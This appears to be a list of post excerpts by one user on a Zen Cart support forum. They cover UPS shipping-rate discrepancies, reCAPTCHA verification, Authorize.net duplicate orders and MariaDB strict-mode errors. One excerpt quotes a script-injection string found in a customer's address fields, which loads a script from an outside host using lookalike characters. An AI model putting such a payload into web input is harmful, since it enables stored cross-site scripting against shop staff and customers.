Search:

Installation of the security patch was simple - so thank you for this. Would be nice if the spam_cleanup_check script could also list the actual SPAM accounts, too.

@lat9 Thank you for the speedy response.

We have had one instance in a recent customer order of this string appearing in the customer and shipping address name fields:
"<script src＝//a6x.me/s/3˃˂/script˃". Searching the Web I can find...

Thanks - I just needed to update the named root.cache. My bad. All working now.

I am seeing this in the ups-xml debug log:
Error from cURL: Error [6]: Could not resolve host: onlinetools.ups.com
UPS RESPONSE:

I have installed UPSXML module 1.8.1 hoping that it would resolve a frequent intermittent problem. It did not. We are using Zencart 1.5.7d. The problem is that the UPS estimated charges do not...

We are using ZenCart 1.5.7d with the built in Responsive Classic template. Our product images with description and purchase button are displayed in columns four to a row. The problem is that when...

I should add that I am using Zencart 1.5.7d

I need to set a global min-width for Zencart so that icon images are displayed no fewer than four to a line (except for mobile devices). I am using the Responsive Classic and presumed the entry for...

@carlwhat Thank you. That did indeed fix the problem. When I upgraded the Zencart to 1.5.7d I should have removed the previous upsxml values from the database before proceeding. The new install...

So this would seem to be the issue - there is no entry field showing in the upsxml module for Shipper Number - evidently because of the undefined constant error on line 92 of...

@lat9 Thank you for your reply and your work on this module which is greatly appreciated. By "UPS Rates: Shipper Number" do you mean the Access Key? This is set. As is the username and password. ...

Here is an example: sending a 7lb package from New York to California the UPS charge quoted on our UPS desktop application is $19.18 and the same package has an estimated UPS charge of $28.90 via...

We have upgraded to Zencart 1.5.7d and the UPSXML module v1.7.11 yet we are still getting charge much higher rates than our physical store module (not the shopping cart) that uses the same UPS Rates...

As has been pointed out by Dr. Byte and other elsewhere - to make all user pages on Zen Cart serve as SSL, simply edit configure.php in includes and change the http url to begin with https - thus:...

Now getting:
We detected that your site is verifying reCAPTCHA passed solutions less than 50% of the time (etc)

Now that I have the reCaptcha plugin working I see this message google.com/recaptcha/admin
"We detected that your site is not verifying reCAPTCHA solutions. This is required for the proper use of...

OK - found the solution in a previous post in this thread of @lat9 dated 3 Mar 2018, 11:12 AM
The file /includes/classes/observers/class.google_recaptcha.php needs to be edited to suit the...

I have installed the Google reCAPTCHA plugin and all the include files including those for 1.5.5 (our version is 1.5.5.e). When the I'm not a robot button is checked and the Send button is pressed...

Thanks for the clarification, Dr. Byte

Thanks, CSGODeimos
I will play with that - though I hate to disable features that in doing so may cause other problems..

As a humble suggestions to the programmers - it may be better to list the previous order on the Users account page as text only - rather than have the previous order added to the current shopping...

Additional info: There is only one entry in the AIM_Debug log per each order. There is not an additional entry for the duplicate error which is listed in the database only 5 seconds after the...

We are using Zen Cart v1.5.5e with the Authorize.net Aim module. There are random duplicate orders that have occurred since 07/28/17. I read somewhere that the timeout the disabling of the Submit...

We are using Zen Cart v1.5.5e with the Authorize.net Aim module. There are random duplicate orders that have occurred since 07/28/17. I read somewhere that the timeout of the disabling of the...

Yep - we have just encountered the same bug. Thanks for the fix.

Very interested in such a module - specifically for subscription services rather than shipping.

I am happy to report that after installing v1.5.5d the string varchar(32) appears permanently as the type for the transaction_id for authorizenet in mariadb. Also, after changing back to...

OK - I downloaded v1.5.5d yesterday. Will install and let you know. Thank you for your advice (and tolerance) - it is greatly appreciated.

Nope - the only other file that contains it is authorizenet_echeck.php which I am not using and have not enabled

Thanks - will try that. I have already been looking for other files that may contain the string.

authorizenet_aim.php has :
$fieldOkay1 = (method_exists($sniffer, 'field_type')) ? $sniffer->field_type(TABLE_AUTHORIZENET, 'transaction_id', 'varchar(32)', true) : -1;
if ($fieldOkay1 !==...

Correction - I misstyped - I replaced bigint(20) with varchar(32)

As I mentioned in one of the posts above the payment modules were missing after logging into Zencart Admin. The steps I took to resolve this was to replace the edited authorizenet_aim.php...

This appears to have been resolved by restarting mariadb

Excuse my ignorance - what does that signify?

Apropos - I now seem to have a new problem. When I login to ZenCart Admin the Payment Modules are not listed. I get:

Payment Modules
WARNING: An...

I posted a full reply but a notice appeared that it needed to be approved by a moderator. I have only one module of Authorizenet enabled - the AIM module. Also with varchar(32) and...

Yes - just realized my error in pasting. Now with VARCHAR(32) and STRICT_TRANS_TABLES enabled the transaction goes through without error.
Below is the full AIM_Debug.log from this successful...

Ignore last comment about varchar(32) not showing as the transaction id. I have logged back into the server and now it shows. Odd. I will now enable STRICT_TRANS_TABLES, restart the database, run...

I always have debugging turned on. The result of myDEBUG-*.log for the last transaction with STRICT enabled is the same in pertinent respects to my post of November 1st in this thread. I include...

Just upgraded from v1.5.5b to v1.5.5c
Problem described above persists. Throws an error with STRICT_TRANS_TABLES enabled in my.cnf

Thanks, will do that but won't be able to test it until the next time we send out a coupon to all customers.

I am having a similar problem with v1.5.5b (I upgraded from v1.5.5a replacing the files per your instructions for that upgrade.)
I can successfully email individual customers from Discounts/Coupon...

As I stated - I did remove STRICT from the my.cnf - it is the ONLY way that v1.5.5b would work after the upgrade to fC25. With it enabled it will throw an error whether the transaction_id is changed...

Below is the full myDEBUG log from Nov.29 with only ip addresses and personal information altered. The sql-mode was:...

Thank you for your response. You were looking at an earlier report from November 1st when this error first occurred with v.1.5.5a. This problem was resolved with the v1.5.5b upgrade. The most...

No, there have not been any changes to the configuration files and an upgrade would not overwrite them. I do recall that I encountered this problem about a month ago with v.1.5.5.a I cannot...

These are the versions of Mariadb before and after the OS upgrade:

(fc24) mysql Ver 15.1 Distrib 10.1.18-MariaDB, for Linux (x86_64) using EditLine wrapper
(fc25) mysql Ver 15.1 Distrib...

Thanks but that did not work. I changed both "bigint(20)" to "varchar(32)" in the Authorizenet_aim.php script as instructed - renabled STRICT_TRANS_TABLES in my.cnf - rebooted the server to be sure...

Thank you for your response - but precisely which change is that? I see at least three references above and one that refers to an AIM emulator - whereas I am using the default Authorize.net AIM...